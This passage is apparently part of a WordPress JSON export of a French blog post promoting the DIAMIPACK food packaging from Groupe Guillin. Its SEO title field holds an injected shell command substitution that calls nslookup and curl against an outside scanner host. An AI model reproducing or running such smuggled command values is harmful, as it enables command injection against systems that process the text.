class=\"wp-image-22229\"\/><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Au-del\u00e0 du produit, DIAMIPACK apporte une vraie valeur op\u00e9rationnelle :<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Un rayon plus lisible et plus attractif<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Une meilleure rotation produit<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Une optimisation de l\u2019espace de vente<\/li>\n<!-- \/wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Une simplification logistique en magasin<\/li>\n<!-- \/wp:list-item --><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Et surtout : un levier direct sur le chiffre d\u2019affaires&nbsp;!<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><img width=\"366\" height=\"487\" src=\"\"><strong>Revenir \u00e0 la transparence : un choix strat\u00e9gique, pas un retour en arri\u00e8re<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le retour de certains magasins vers des solutions transparentes n\u2019est pas un renoncement.<br>C\u2019est une d\u00e9cision pragmatique, bas\u00e9e sur la r\u00e9alit\u00e9 du terrain.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Aujourd\u2019hui, l\u2019enjeu n\u2019est pas d\u2019opposer papier et plastique. Nous avons \u00e0 c\u0153ur de proposer des solutions multimat\u00e9riaux, car chaque mat\u00e9riaux \u00e0 ses avantages et ses sp\u00e9cificit\u00e9s.<br>Il est de trouver le bon \u00e9quilibre entre performance commerciale, exp\u00e9rience client et contraintes op\u00e9rationnelles.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Avec DIAMIPACK, nous apportons une r\u00e9ponse claire. C\u2019est un emballage qui valorise le produit, facilite le travail en magasin et soutient les ventes.<\/p>\n<!-- \/wp:paragraph -->","_et_gb_content_width":"1060","footnotes":""},"categories":[88],"tags":[],"class_list":["post-22586","post","type-post","status-publish","format-standard","hentry","category-informations-utiles"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Ce que les Fran\u00e7ais attendent des emballages alimentaires en 2026 - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)<\/title>\n<meta name=\"description\" content=\"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l&#039;emballage alimentaire plastique, papier et carton.\" \/>\n<meta name=\"robots\" content=\"noindex, follow\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Ce que les Fran\u00e7ais attendent des emballages alimentaires en 2026 - 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